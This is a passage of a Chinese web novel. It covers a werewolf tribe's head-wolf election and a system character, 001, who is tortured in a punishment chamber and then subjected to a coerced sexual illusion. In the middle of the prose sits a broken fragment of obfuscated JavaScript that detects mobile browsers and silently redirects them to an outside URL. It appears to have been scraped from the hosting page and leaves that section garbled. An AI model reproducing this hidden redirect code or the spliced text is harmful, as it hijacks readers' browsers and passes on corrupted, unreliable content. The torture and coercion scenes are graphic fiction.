一个小时小时很快过去,头狼选举的第二轮开始。这一轮,杂种狼需要带来五个与比试无关的纯种狼作为支持者。 这一规定,明里暗里就是在贬低杂种狼的身份,想看他们自取其辱的模样,毕竟怎么会有纯种狼傻着选择和杂种狼一个阵营。 评审席的一个长辈兽人高声道:“现在请各位晋级者的五位支持者进入场地,站到对应兽人的后面!” 凌冉淡定地注视着莱斯。 她早在十日前就找好了五位纯种狼,虽然过程费了不少口舌和力气,但他们也都答应在第二轮选举出席,应该不会有意外—— 怎么回事?! 凌冉睁大了眼睛。 为什么有两只还没有来?!怎么偏偏在这种关键时候掉链子! 莱斯表面没什么波澜,心里也捏出一把汗。 评审:“倒计时两分钟!” 观众再次纷纷低声议论。目前场上没有一只杂种狼身后站满五只纯种狼。这样的场面才是他们意料之中的事情。 “果然啊,杂种狼怎么可能会被那么多纯种狼认可?” “赶紧下去吧,别丢人现眼了!” “下去!下去!下去!” 观众呼声越来越高。 评审似是也等不及了,开始倒计时:“最后一分钟……” “最后三十秒……” “最后十秒……十、九、八、七——” “——等一下!” 一道清脆女声在场外响起,骤然打断评审的“催命”倒计时。 苏昙一路狂奔过来,胸膛还在剧烈地起伏喘息。 她穿过围成一圈的观众,大方站到莱斯后面,指指她身后跟着的粟枝等四位狼兽人,笑着问前方的四位评审:“我们的人到齐了,倒计时应该可以不用念了吧?” 评审:“这……” 凌冉悬着的心重重落下,对苏昙投去感激的眼神。 “不行!”一个长得贼眉鼠眼的评审尖声道,“在场其余参赛者找的纯种狼都是在月影族内的,你带几只外面的狼算什么?” 苏昙忍不住笑出声,转身朝向观众席高声问道:“我问大家,选举有规定第二轮的纯种狼必须是族内的吗?” 她早就猜道,会有评审当面刁难。之前和凌冉聊天,凌冉说自己会帮莱斯找到五位纯种狼。可她总觉得事情不会那么顺利。 今天一大早,她思来想去,还是决定另作准备,以防万一。 于是她找到粟枝,请他出面。也许是因为有过救弟之恩,粟枝不仅一口答应,还带上了自己的几个纯种狼好朋友,一起跟着苏昙飞奔前来。 观众席的众兽人听苏昙这么说,的确不知道头狼选举还有这样的规定,一时间嚣张的气焰灭了大半。 一嘴难敌众言,最后仅有莱斯一只杂种狼通过第二轮选举。 “谢谢你。” 下场休息时,莱斯拉住苏昙说道。 苏昙扬眉:“你该谢的不是我,决定要来帮你的,其实是粟枝他们。” “我明白了。”莱斯神情微动,朝粟枝和他的一群朋友走去。 苏昙飘然拂身离去,走向观众席里莱萩的位置。 “维希姐姐!”莱萩一把抱住苏昙,“我还以为一切就要结束了呢。幸好你及时赶来了!” “你莱斯哥哥那么厉害,怎么也得进到第三轮才对啊。”苏昙正要在她旁边坐下,发现还有一个小女孩在看着自己。 苏昙:“你……我们是不是见过?” 小女孩盯着苏昙,表情渐渐委屈:“原来姐姐叫维希。为什么搬家了都不告诉我一声,果然早就把我忘了,那是不是我们的约定你也早就不在意了……” “没有没有!”苏昙慌忙解释,感觉自己活像个渣女,手忙脚乱地哄道,“怎么会忘呢……” 63. 世界三(23) 虚空之境。 密门背后。 空荡寂静的大厅中央,摆放着一个高台。高台上铺有柔软华丽的毯子,位子上靠坐着一个影子。影子前后左右围着一条条挺立起来的触手,呈莲花瓣的形状将那影子层层围在中心。 然而,大厅表面安静无声,实际吵得要命,只有被触手称为“主人”的影子才能听到。 触手一强势道:“主人,我所说的都是事实!我真的在裂缝之隙感知到了001的气息,但就是看不见他!” 触手二不耐烦地抽了它一下:“你别挑拨离间了!001百年来为主人尽职尽责,怎么可能会背着主人有所隐瞒?” 触手三踟蹰地说:“是啊,001平时总是干得最多,说得最少的那个,应该不会有异心的。” 触手四犹豫道:“……可是,我前些时候还看到了401进了001的房间。” “401不是主人安排在001身边的眼线吗?怎么还会和001走得这么近?会不会……401就是故意接近他的?” 触手三猜测。 触手一不屑地嗤了一声:“笑话!401那么笨,连谷晨是怎么死的都不知道,还想玩间谍这一套,演技还没我好呢!” 触手四:“唉,我实在不知道到底该相信谁……” 触手二:“哼,不管你们怎么说,我挺001。” 高台上的影子被吵得一个头两个大,祂揉了揉太阳穴,深吸一口气,吼道:“——都给我闭嘴!” 七嘴八舌的触手一下子缄默下来。 主神不耐烦地把在自己眼前乱动的触手挥开,冷冷道:“001有没有发现了什么,用401试试不就知道了?现在就去,把401给我送到忏心间住几天。正好,也给001提个警告。” 触手一迫不及待地出发:“好嘞!保证完成任务!” …… 131刚回到虚空之境,在走廊看到401被其他员工匆匆带走。 押着401的员工神情凝重,步伐急促,嘴里念念有词。 131心里一沉,直觉有事情要发生。他赶快回到工作间,看到001还在工位上整理资料。 不知道001和苏昙又怎么了,一个多月前,他顶着血肉模糊的背回来之后,整个人就跟失恋了一样,没日没夜地拼命工作,连宿主那都不怎去了,就每隔几天送一次食材,每次留在里世界的时间甚至不超过十分钟。 ——但眼下可不是分析兄弟感情的时候。 131开门见山道:“401被主神的手下带走了。我在走廊上听见那些手下嘴里说什么心、间的,我也听不明白。你说主神是不是开始怀疑你了?” 001整理资料的手登时顿住,不可置信地盯着131:“……忏心间?” “糟了!”001腾得站起来,长腿跨出座位,转眼在工位消失。 “哎你……注意安全啊。” 131话没来及说完,注视着001的背影离开视野。希望只是虚惊一场,千万不要出事。 去往忏心间的路上,001一直在想主神为什么会突然抓走401? 思来想去,最有可能的答案,就是祂的触手发现了什么,比如察觉到他去过裂缝之隙,又比如401和他往来的行踪暴露。 但主神却没有直接对他下手,那就证明祂还未找到更具体的证据,现在抓走401,只是为了警告他。 可一开始就是他先拉拢的401,也是他要求和401私下见面,结果被罚的却是401。 401什么都没做,受罚的不应该是他。忏心间也不是个什么好地方。他还年轻,意志尚不坚定成熟,不该受那种折磨。 001把自己格式化成乱码。就算要罚,罚的也该是他这个始作俑者。 “我不要进去!!”401崩溃大叫,拳打脚踢也起不了任何作用,“我什么都没有做错,放开我!放开我!” “没关系,等你进去待上几天,就知道自己哪错了。” 按押着401的员工面无表情地把他推了进去。 401死死扒着门,哭红了眼:“我不!!” 门被关上的前一秒,401感受到身体钻进一股强势的力量,等他反应过来,发现自己竟还站在忏心间外面! 处理完犯错子系统的员工拍拍手,转身看到001在一旁,向他点头打招呼示意。 401:“?” 他低头看到身上陌生的白衣黑裤,飞速跑到镜子前,被镜中的模样吓得脚下一趔趄。他怎么会变成001的样子?那001呢?! 401魂不守舍地回到工作间,看清门牌后恍然反应过来,他现在该去001工作的地方。 对,找131,他肯定知道发生了什么! “你怎么这么快回来了?401呢,事情都解决了?”131看到去而复返的001,关心地问道。 “是我,我是401!” “……啥玩意儿?” 401又急又担忧地解释:“原本我就要被关进忏心间了,结果一眨眼我又在外面了!我也不知道到底发生什么了,001现在消失了!” 131冒了一头冷汗,强迫自己冷静下来,分析道:“不,准确来说,你们应该是灵魂互换了。也就是说,001现在正在忏心间替你受罚。” “……什么?”401愣住,一屁股跌坐在椅子里。 “如果我没猜错,你们的手环应该没有互换吧?”131心里涌起不好的预感。 401摸出腕骨的手环,确认后绝望道:“没有……这个手环是我负责的宿主的。” 131:“得。” 现在苏昙那边也联系不上。 每个子系统的手环有对应宿主的联系权限,如果子系统不转交手环,别的子系统就没有联系对方宿主的权限。就像当时在第一个里世界,001有事,便把手环给了他,他才能和苏昙联系上。 131这下也不知道该怎么办了:“只能多多祈祷001在忏心间少受点罪。这几天,你就和我待在一起,没事不要出工作间,以免再引起怀疑。其他的,等001从忏心间出来再说吧。” “……对不起。”401忍不住哭了。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16634923|182094||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 131拉过来一把椅子坐到他身边,递过去几张纸,叹气说道:“001把我们当作他的朋友,他的主导性格又是保护欲。情况这么紧急,换做是我,他也一样会毫不犹豫替我去的。这不是你的错,别给自己太大压力,相信他会没事的。” 他一遍遍地重复安慰,也一遍遍驱散心底的担忧恐惧。 * 这是001第二次来到忏心间。 几十年过去,这里的布局还是一点没变,绞刑架、拷链、夹棍、鞭子、火钳、电椅……有时候,001都搞不懂,主神的真正身份是什么,折磨人的法子竟从古代列到现代,一应俱全。 忏心间没有员工,没有主神,只有触手。实施惩罚的也是触手。它们是主神的意志,却不和主神直接联系。 刚进里面,在黑暗中潜伏等待的触手便迫不及待地缠上001的身体,把他带到一个逼仄的小房间,熟练地去掉他的上衣,把他的双手绑到刑架上。 [先来哪个好呢?] 触手颇有节奏地拍打001的脸庞,似乎在认真思考。 001偏头避开触手的触碰,淡淡提醒它:“鞭子吧。” 毕竟,上次就是先抽的鞭子。 [那就这个好了。] 触手愉快地从刑具盘上取下鞭子,吸到顶端的吸盘上,蓄满力气,猛地抽到001腹部,柔软的皮肉瞬间绽开,渗出淤血。 触手一鞭接一鞭地抽,鞭鞭见骨,鞭鞭见血。渐渐地,身子前面布满斑驳鞭痕,找不到完整的皮肤。 触手就绕到后面,继续动作,兴奋地加大力度。 不知多少鞭之后,001被一盆凉水浇醒。他尝试动了一下肩膀,浑身的骨头都产生散架的疼痛。 001忍不住闷哼一声。 触手听到他压抑的呻.吟,肉眼可见地变得更加激动,发出微微的颤栗。 001:“……夹棍。” 他感觉到粘腻的发丝垂到额头两侧,不知顺着发丝留下来的是凉水还是血水。 [真是好建议。] 触手觉得这次进来的子系统未免太对自己的胃口,提出的建议总是深得它心。 半小时后,001的双手青一块紫一块肿得不像样子,每个指缝都流着鲜血,无力地垂着,痛得动一下就带着钻心的刺痛,连一呼一吸都要小心翼翼。 触手餍足地轻轻拍打001低垂的脸颊。 “……” [又没有动静了诶。他已经昏过去两次了。] [算了,今天就先到这吧。虽然子系统死不了,但也不能把他弄残,不然我该少多少乐趣。] 触手万般不舍地离开了小房间。 001已经完全没有反抗的力气。他从格式化恢复人形,又和401互换了灵魂,早就精疲力尽。 唯一仅剩的一点清醒,让他忍不住在脑海回想起那张明媚鲜活的面庞。 怕是那个人,又要对自己失望了。 她明明认真叮嘱过,要他好好照顾爱惜自己的身体,但现在来看,他好像又搞砸了。 真是该死。 64. 世界三(24) 月影族内,头狼选举还在激烈进行。 第三轮已经进行过四次比试,等第四次比试结束后,便会决出真正的头狼。 值得高兴的是,莱斯毫不意外地进入最后一次比试;不幸的是,他的对手碰巧是杰格。 午后的日光愈加毒辣,晒得人只想睡觉,观众席的众兽人也不例外,个个精神恹恹,提不起精神。 两只狼之间的比试就是最简单的强者胜原则,反反复复地你撕我咬,你追我赶,看久了实在没意思。可眼下莱斯竟然和杰格遇上,百无聊赖的观众撩开眼皮,席间渐渐再次热闹起来。 “别睡了别睡了,最后一局莱斯要对杰格!” “……我没听错吧?你说谁要和杰格打?!” “哈哈哈,真正的好戏要开始了!” “也不知道谁最后会胜出啊。” “这还用说,肯定是杰格赢啊!” 苏昙听见她身后的兽人说得那样斩钉截铁,扭头浅笑回道:“说不定杰格使阴招,胜之不武也是胜呢。” “……” 评审席上的四位评审被滚烫的太阳晒得口干舌燥,屁股也被坚硬的土地硌得慌,巴不得最后一局赶紧结束,毕竟这本来就是没有悬念的事情。 短暂休整过后,其中一位评审高声宣布:“第三轮第五次比试现在开始!” 莱斯和杰格化成狼形相对而站。 一段极具压迫感的漫长对峙。 观众的呼吸似乎随着他们的紧绷的对峙减缓暂停,目不转睛地盯着空地上气势凛凛的两只狼。 太阳的方位随着时间一点一滴的流逝慢慢移动,莱斯冷静地盯着杰格——他在等待第一个合适的时机。 没过多久,照在杰格头顶的刺眼的阳光不多不少地偏移一寸,晃得杰格忍不住眯了一下眼。 就是现在! 莱斯的身躯早已蓄满力量,他朝杰格猛冲过去,逼得杰格下意识抬脚躲避。然而,莱斯并没有张嘴撕咬,他仅仅在杰格避让时,极为自然地从杰格腿边掠过。在观众席的兽人看来,这一举动简直算得上一个令人嗤之以鼻的失误。 “莱斯到底会不会打啊,这样粗心的错误都能犯?” “他可是杂种狼,肯定不如纯种狼稳准狠啊!” 杰格自知其实是自己刚刚晃神大意,才让莱斯有了可乘之机。他弓身起势,高声嚎叫,侧身张嘴冲向莱斯,死死咬住他脸颊! 这一次,莱斯不像之前的比试总是俯身躲避。他做出同样的动作,从地上一跃而起,和杰格扑到一起。只是他没想到杰格嘴上的力气竟这么大,咬住就丝毫不松口。为了挣开杰格的扭打,莱斯付出了被拽掉脸颊周围的一撮毛的代价。 紧接着,他化被动为主动,紧紧追赶在杰格身后,重重地把他压倒在地。杰格没有稳住身体,侧翻倒下,四肢朝上,被莱斯压得起不来身,一个劲地扑腾,但无济于事。 莱斯两只前爪按住杰格的头,不出所料看到他另外三只爪缝间一闪而过的银光。杰格其中一只爪子藏着的银针已经被他打掉,剩下三只爪子各藏一根,一共四根银针,是杰万交代杰格对付自己的阴险手段。 莱斯接着混乱的挣扎打斗把他爪子里剩余的三根银针一一拍落,然后起身放开他。杰格吃了亏,立刻跑开,调整策略。 他避开莱斯正面,调换方向追在莱斯身后。僵持几十秒后,他加速冲上去,咬在莱斯已经受伤的腰间,任凭莱斯如何剧烈扭动也不松嘴,锋利的狼牙深深嵌入莱斯的伤口里。 杰格嗅到嘴里越来越浓的血腥味,瞳孔也染上一点红。要是能让他再多痛苦一点就好了。 对了,银针。我还有银针。杰格四只爪子快速摩擦地面,想把早就藏在爪缝中的银针蹭出来。 ……我的银针呢?! 杰格不可置信地看着磨出抓痕的地面,愣了几秒。 就在这几秒的空隙,莱斯硬生生将他的身体从杰格嘴里拽出来。几乎没有任何喘息的时间,他又精准地咬在杰格的左后腿! 杰格回神,腿上的疼痛让他剧烈挣扎起来。然而,挣扎也只会是莱斯的利齿刺得更加深入。仅仅几秒过去,他腿上被咬住的位置渗出鲜血,浸透浓密的皮毛。 这一刻,杰格作为对手的直觉告诉他,如果再不示弱,他的这条腿会彻底废掉。如果瘸了一条腿,和死狼又有什么区别。 他在莱斯的身下倒下了。 “怎么会这样?!” “杰格快站起来啊!” “他为什么会突然发呆?这不明摆着给莱斯送狼头吗?!” “……这是要结束了吗?” 观众席爆发惊呼。 裁判开始上前计数:“1、2、3、4……8、9、10!莱斯胜!” “好样的!”莱萩忍不住站起来喝彩。 观众席里还零零星星地站起来几个喝彩的兽人——大部分的兽人还在怔神中。他们无论如何也没想到,一向被看好的纯种狼竟然真的败给了一只杂种狼! 苏昙看到身边神色复杂的杰格的妹妹杰婕,转身示意莱萩先按捺一下激动的心情,坐下来继续看。 空场地上,杰格已经化成人形,满脸羞耻,紧闭双眼,痛苦地抱紧还在留血的左腿。 莱斯也化成人形,他瞥了一眼躺在地上的杰格,按住腰间的伤口,弯身把散落在地上的四根银针捡起来。 他细细捻着手里光滑锋利的银针,看向杰格:“你刚刚是在找个吗?” 杰格猛地睁开眼,惊恐地叫出声,声音因为疼痛控制不住地颤抖:“你、你怎么发现的?!” “我怎么发现不重要,重要的是你在选举中觊觎投机取巧,公然违背比试规则,净想着用些阴损的招数!如果我没把你藏在爪子里的银针拍掉,恐怕现在这些银针不是在我手里,而是在我腰间的伤口?还是身上的其他地方?” 杰格无能狂怒:“你这是在诬陷我!我根本没这么做!” “哦,你承认你其实是想这么做了?”莱斯嗤笑。 观众席再次议论纷纷,最后把目光落到评审席。选举接近尾声,莱斯又在最后的比试中胜出,是不容置疑的头狼。现在的问题,就是如何解决杰格的事情。 只是评审席的三位评审也面露菜色。 除了凌冉。 ——早在一个月前,查克便将这件事私下告知她。她又专门找到莱斯和维希一起商量。莱斯当时的原话是:他还从没怕过谁,银针又如何,阴招又如何,他照样能赢得干净漂亮。至于杰万父子,等选举结束,再一一收拾也不迟。 思考之后,她和维希也都觉得不无道理,便没有提前准备。 于是,在选举最开始的检查时,她故意替杰格掩盖偷藏暗器的事实,令他放松警惕。等到莱斯和他比试的时候,再彻底揭露他的真实面目。 而就眼下的事实看来,的确分毫不差。 还是那个长得尖嘴猴腮就是不像狼的评审,他哼了一声,不甚在意道:“不就是个银针,最后不也没用么,我看就不用追究杰格的责任了吧。” “这……”其他两个评审的脸更绿了。 他们此时的话可是代表的月影族的态度,若是支持杰格,就相当于变相地瞧不起杂种狼,可莱斯又是比赛的胜者;但若是偏向莱斯,就相当于指桑骂槐,得罪了整个纯种狼群体。 唉,这年头,什么活都不好干啊。 两位评审觉得这种时候还是闭口缄默的好。 这时,凌冉站起来朝莱斯身边走去,缓缓开口道:“既然现在已经决出头狼,那不如就让月影族的新头狼来决定该怎么处置杰格,大家说呢?” “我同意!”观众席里响起一声嘹亮的赞同。苏昙站起来,向凌冉点头,“众目之下,莱斯的确是当之无愧的头狼,我倒是想看看,咱们的新头狼会怎么做?” “……说得也对啊。” “就是,让莱斯来决定,他才是我们的头狼!” “莱斯!莱斯!莱斯!” 观众席的风向渐渐变了。 凌冉和莱斯对视,示意他说几句。 莱斯不慌不忙地蹲下,问杰格:“如果你如实说出背后指使你这么做的那个人,我可以考虑只把他驱逐出月影族。否则,你们全家都别想在月影族待,哪里能容得下你们就去哪里凉快。” 杰格怒吼:“没有人指使,就是我单纯看你不顺眼,想发泄!” “很好,这可是你自己说的。”莱斯直起身,宣布道,“从现在开始,杰格一家已经没有在月影族的活动权,若是被我知道还有狼和他们私联,那我不介意让杰格经历的再让你经历一遍。如果你们谁觉得不公平,大可和他们一起走!月影族也不是什么狼想来就来,想走就走的包容所,想留下的就给我靠实力说话!” 观众席上鸦雀无声。 “你凭什么这么做?!”杰格没想到莱斯会丝毫不留情面。 “凭我光明磊落地战胜了你!这是我作为头狼,帮助你学会的第一课,永远为自己说过的话、做过的事负责。如果所有决定都是一句轻飘飘的承诺,那还要责任有什么用?” 莱斯说完,不再看杰格,径直走到凌冉身边,握住她的手,对观众席说道:“大家看清楚了,若不是凌冉和其他族里长辈一起努力,我们怎么可能还会安稳地坐在这里?” “没错,我是杂种狼,但杂种狼一样有尊严和勇气。他们有理想,有家人,更应该有为自己争取地位的权利!真正把我们大家区分开的,不是所谓的基因血统,而是看待周围人事物的心。” “我就在这向大家保证,只要我还是月影族的头狼,就会保证族里狼狼平等,永远靠实力说话!” 苏昙看着空地中央那个高挑的兽人,生出几分陌生。在她刚来这个兽人世界的时候,从没想过莱斯还能有这么情绪外露的时候。 在场的兽人有些了解莱斯的过去,有些只是道听途说。但刚刚听了莱斯的一番话,心里隐约觉得他似乎于听说到的不甚相符。 他们想留下来,看看月影族未来究竟如何。 * 距离头狼选举已经过去一星期,月影族最明显的变化就是看待杂种狼的眼光与之前不大一样了。 曾经那些目中无狼的纯种狼想要习惯性鄙夷杂种狼之前,竟也慢慢开始思考,也许我可以选择不骂他/她?也许他/她真的做得比我好? 苏昙每天看着月影族一点一滴的变化,心里也慢慢明朗起来。 早晨起床,她意外在窗外看到两个熟悉的背影走在一起。 “莱萩?”苏昙走出去问道,“……你们怎么在一起?” 按理说,杰格一家已经被逐出,而现在杰格的妹妹杰婕却和莱萩并肩走在月影族里。 杰婕有些不好意思道:“是我在那日选举结束之后偷偷找了莱斯,求他让我留下来。” “是啊是啊,当时我也在场呢。莱斯哥哥说,月影族不可能在一朝一夕就发生改变,一切都要慢慢来。杰婕可以留下,但必须用实际行动证明她有留下来的资格。” 杰婕:“对。我相信我可以证明自己的。” 苏昙对莱斯同意杰婕留下来不怎么意外,她只是有些好奇杰婕的选择。 苏昙:“可这样你会离开你的家人,森林这么大,一旦失去联系就很难再相遇了。” “我知道啊。”杰婕眼底的坚定中混杂着一丝落寞,“他们本就不欢迎我。也许我的离开也能让他们少些压力,我也能过得更自在 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001在暗无天日的忏心间里数着日子,今天已经是第七天。 负责惩罚的触手似乎永远不会厌倦,变着花样折磨他的身体,仿佛他仅仅只是一个子系统,一个没有尊严,可以随意把玩的玩物。 001今天被触手松了手铐,他刚刚从电椅上放下来。 漫长的一个小时的折磨,触手早已经摸清他身上最脆弱的地方,总能把电流控制在一个恰好合适的程度,兴奋地欣赏他最难堪的一面。 001回到逼仄的房间,拼命地控制抽搐的双腿双手,死死按住胃部,俯身趴到墙角呕吐。 可他这一星期滴水未进,根本吐不出什么。但只有这样,才能让他稍微感觉好受一点。 触手今天格外有耐心,等他的身体终于不再颤抖,才上前掰开他的嘴,用触手前端卷了一口不知道是什么的液体塞进001嘴里。 [他真的太有趣了,我还是第一次在子系统的思想中读到欲望呢。那不如就帮你一把,不要太感谢哦。] “——咳、咳!” 001口腔被触手搅得难受,眼尾泛出点点泪光,染上薄红。 恍惚中,他好像看到那个日思夜想、支撑他到现在的人一步一步走向自己。 不……不能让她看到这样丑陋的自己! 001胸腔里刚生出的一丝暖意彻底消失,他失神地跌坐在地,双手不停拉拢早就破成一缕一缕的衣服,别过头不敢再看。 来人慢慢走到他身边,屈膝半蹲下来,和声道:“你看起来很难受,需要我帮你吗?” 清冽的女声如细线探进001耳蜗最深处,密密麻麻地撩拨他越来越滚烫的呼吸。 “……不用……你走开。”001已经退到墙角,再无可退。 女人又靠近了些,每一个字都带着极大的诱惑鼓舞,轻轻喷在001红得不成样子的耳廓:“试一试吧,很舒服的。” 说完,她的手覆上他交叠捂在胸前的伤痕累累的手。 001感受到她手心传递的一小片微凉,还未痊愈的伤口猛地一阵刺痛,他下意识甩开她。 “怎么,你不喜欢吗?”女人颇为惋惜,反而强势地拽紧他的手,放到自己腰间,几乎要和他贴到一起,声音从温柔转变为狠戾,“你在撒谎!明明每晚的梦里都是我,怎么现在又装模做样地拒绝?不会是因为,你觉得自己是个连人都算不上的怪物,不知道怎么讨好我……占有我?” “我……我、对不起。”001双手火辣辣地刺痛,他心里最隐秘酸涩的那点秘密就这样被喜欢的人丝毫不留情面地戳穿,瞬间无地自容。 他触电般挣开她的钳制,整个身体蜷缩地更加厉害。 女人第二次被001推开,伪装出来的耐心和温柔彻底告罄。她嗤笑一声,抬手钳着001的下巴,把他偏到一侧的头扶正:“啧,还真是个倔男人。” 下一秒,001看到她幽黑的瞳仁逼近,他的双唇和牙关被粗暴地撬开。她的湿.润的舌强势地进到他口腔,毫不停息地扫荡每一个角落,缠绵又激烈,不容他拒绝。 “唔……” 001口里被搅得一团乱,呼吸逐渐混乱。 苏昙注意到他身体的变化,分开了一点距离,指尖轻点在他身下某处,戏弄道:“你这样……可真是迷人。” 她再次继续刚才的动作,更加深入用力,牙齿贪婪地摩挲001口中的温热,一只手按在他的后脑,一只手挑逗般在他身上游走。 迷乱间,一道再熟悉不过的轻声呼唤在001识海中响起:“……001?001?001?!” 那道遥远而真切的呼唤仿佛一束透彻的微光,穿过忏心间厚重潮湿的墙壁,直直照进他胸膛,驱散心里那令他沉沦的不堪的欲望。 001猛地清醒过来,眼前的苏昙根本不是他喜欢的那个她,一切都是假的! “滚开!” 他握紧双手,用力地推开女人。他屈辱地背过身,闭上眼平复溃不成军的呼吸。 “好吧。”女人尝到了甜蜜,不甚在意地抹净溢出唇边的津.液,笑道,“明明都是假的,你却不受控制地沉沦。看来你也是很喜欢,明天我再来找你。” 房间的女人像虚影般眨眼消失,唯留下一个背影正在压抑地震颤。 仔细听,便能听到背影所在的角落里,还有几不可闻的隐隐抽泣。只是这抽泣很快又陷于死一般的沉寂,仿佛刚才的一切都从没发生过。 65. 世界三(25) 转眼三天过去,今天傍晚,面向森林所有狼兽人的交际舞会就要开始。 不少狼兽人都已经迫不及待,他们老早就听说月影族前几天决出的头狼竟是个杂种狼,一个个好奇得不能行。 午后,莱斯手里拎着给莱萩在交际舞会准备的食物回来,看到苏昙一脸平静地坐在家门口晒太阳,不禁好奇道:“今天晚上就是交际舞会,莱萩昨天就满眼期待,怎么不见你有兴趣?” 苏昙:“你看我像是喜欢社交的人吗?” 莱斯:“……” 也是,自头狼选举结束,到现在过去两个星期,至少十天她都在房间呆着,最多在族内活动,从没见她出去过。 莱斯想起什么,说道:“虽然去交际舞会的狼兽人很多,但我不能保证你要找的那两只一定会来,你还是……先做好心理准备。” “嗯,我知道。”苏昙耳朵动了动,听到远方隐约传来的声响,不禁猜测,“看来已经有兽人陆续往森林中心出发了。” 她站起来伸了个懒腰,有些心不在焉道:“那里离月影族还有些距离,我就先过去了,晚上见。” 莱斯疑惑地看着维希的背影,不知道她这几天到底发生了什么,眉头总是皱着,眼里时不时露出沉沉的情绪,问她也只是说太累了。 可他完全看不出她到底哪里累。也许维希在撒谎,但他隐约觉得,不再追问才是正确的选择。 …… 渐渐地,森林中心的狼兽人多起来,有带着花来的,有带着捕猎到的食物来的,还有穿着艳丽的衣服搔首弄姿来的…… 苏昙坐到树下,打发走了几个到她面前请她做伴侣的兽人,又看他们继续去找其他雌狼。 她只感到眼前的景象索然无味。 “001……你到底发生什么了?” 她不知道这是第几次在识海里呼唤他的名字,似乎多喊几次,就一定能听到他的回应。 只是这一次回答她的依旧是一片沉默。 身边唯一知根知底的人突然消失,苏昙竟发现每天过得格外漫长难熬,仿佛她重新变成了那个跌落海中的蚂蚁,海底的浪花一点点把她推向看不到边界的无人海域。 很快,太阳彻底落山,树上提前挂上的小彩灯齐刷刷亮起,五颜六色的,给黑暗的舞会穿上朦胧柔和的霓虹衣裳。 “找了你半天,原来在这坐着。”莱斯不知什么时候走到苏昙身边。 苏昙回神,闻到莱斯身上浓郁的花香,打趣道:“怎么,终于摆脱那些慕名来看你的兽人了?有喜欢的吗,我什么时候可以看到小莱斯?” “……”莱斯表情冻结一瞬,很快又恢复正常,“少打岔,我找你有正事。” “什么事?” “我找到那两只狼了。” 苏昙闻言,跟着莱斯来到一个远离热闹人群的偏僻地方,瞧见那站着两个瑟瑟发抖的狼兽人。 莱斯对那两只狼腿子警告道:“她问什么,你们就答什么。如果敢说谎,牙就不用要了。” “是是是,我们一定知道什么说什么!” 苏昙暗暗给莱斯的威慑力鼓了个掌,走近两步,盯着对面的两只兽人,问道:“三个月前,我被你们追杀,导致和家人失散,真的是这样的吗?” 此话一出,剩下的三只狼纷纷疑惑震惊。 莱斯:“……你也开始不记事了?” 狼腿子:“你还有家人?!” 苏昙:好歹毒的发问。 她镇定反问:“我没有吗?” “你当然没有了!”狼腿子激愤不已,“还不是你偷了我们辛辛苦苦猎来的食物,而且不是一次两次!我俩可观察你两个月了,每隔几天你就要到我们那里偷食物。起初我们看你无父无母,睁一只眼闭一只眼,结果你变本加厉,越来越嚣张,甚至叼着兔子从我们面前溜走,这简直太过分了!所以我们才想给你个教训,提醒你我们不是好欺负的……” “……你说的,都是真的?”苏昙眸色微沉。 “千真万确,如果我说谎,就诅咒我被鹿吃掉!” 两只狗腿子惴惴不安地瞟着莱斯。 苏昙转头用眼神示意莱斯,她没什么要问的了。 莱斯冲两只狗腿子摆手:“滚吧。” “好嘞,这就滚这就滚!” 狗腿子拍着胸脯倒腾着两只脚跑远了。 苏昙一路敛神无言回到树下。过了几分钟,她终于开口对莱斯说道:“我现在可以确定,莱萩的记忆的确有问题。而且,除了莱萩,我的记忆也有问题。” “……什么?!” “刚才,那两个兽人说,我无父无母。可我明明记得,我是因为追杀才和家人走散的。但我所记得的追杀,并没有明确的时间范围。” 更准确来说,是001在一开始便告诉她,维希受到敌对狼群追杀差点没命。可现在看来,这件事的因果就已经相悖。 所以,001读取到的信息一直是错误的,他看到的原主的记忆也是有问题的! 莱斯被苏昙的话绕得云里雾里,不解道:“什么意思?你是说,你和莱萩的记忆都出现问题?” “没错。莱萩现在在哪,我想再问问她具体的情况。” “估计跑着去玩了。我现在去找她。” 莱斯立刻动身。 苏昙靠坐在树下,无力地按住眉心。她原本以为头狼选举结束,便算是完成了第三个里世界的任务,没想到现在得知她和莱萩的记忆都有问题,难道这也是主神的手笔吗?祂这样做的用意到底是什么? 苏昙无意间碰到腰间挎包,摸到一个本子的轮廓,想起谷晨的日记本还没看完。 上次她看完了第二个里世界,是个修仙世界。 谷晨穿到一个天赋异禀的金丹法术师身上。这位金丹修士在突破元婴修为的过程中,因为没能扛过七七四十九道天雷,渡劫失败爆丹而亡。 他穿过来的时候,回到了这位修士的筑基时期,天雷灾难还没有发生。这一次,谷晨另辟蹊径,开始着手制造避雷针。 曾经的原主是术师,结果谷晨却逐渐对器物的研究得心应手,渐成大拿。 三年后,他再次迎来突破元婴的雷劫。只是这次,雷劫变成了九九八十一道,道道致命。所幸,应劫之时,谷晨的避雷针在法术的加持下已经炼得炉火纯青,他侥幸活了下来,成功突破修为,完成任务,离开了第二个里世界。 苏昙都忍不住感叹一句:科技改变世界,科技使人进步!她翻动纸页,继续往下看。 [2060年6月20日 按现实世界的时间来算,我已经在里世界生活五年了,但并未感觉多么漫长,好像一眨眼就过去了。 401告诉我,第三个里世界的原主是个古代富裕家庭的公子哥,他从小含着金汤匙出生,父母全都从商,他不爱学习,亦不上进,整日和圈子里的纨绔厮混,后来竟还染上了五石散。原主的父母劝他戒掉,他却装作没听见,后面越来越上瘾,因为吸食五石散耗尽万贯家财,最后家破人亡,原主也疯癫自缢。 我不可能再按照原主的人生轨迹重来一遍,他需要改变。] [2060年7月3日 这位公子哥还未及冠,十分年轻。我已经开始慢慢断掉他之前在圈子认识的纨绔的联系,向他的父母学习经商知识。] [2060年8月26日 我学习经商一月有余,渐渐了解原主家中产业,其包含范围小到粮食米面,大到锦帛铁器。另外,原来不论在古代还是现代,经商一样需要头脑!真难啊!] [2060年10月1日 城中渐起风声,不知是谁在传我们的产业沾染黑银,来路不明。此事定有蹊跷,还需要仔细去查。] [2060年10月30日 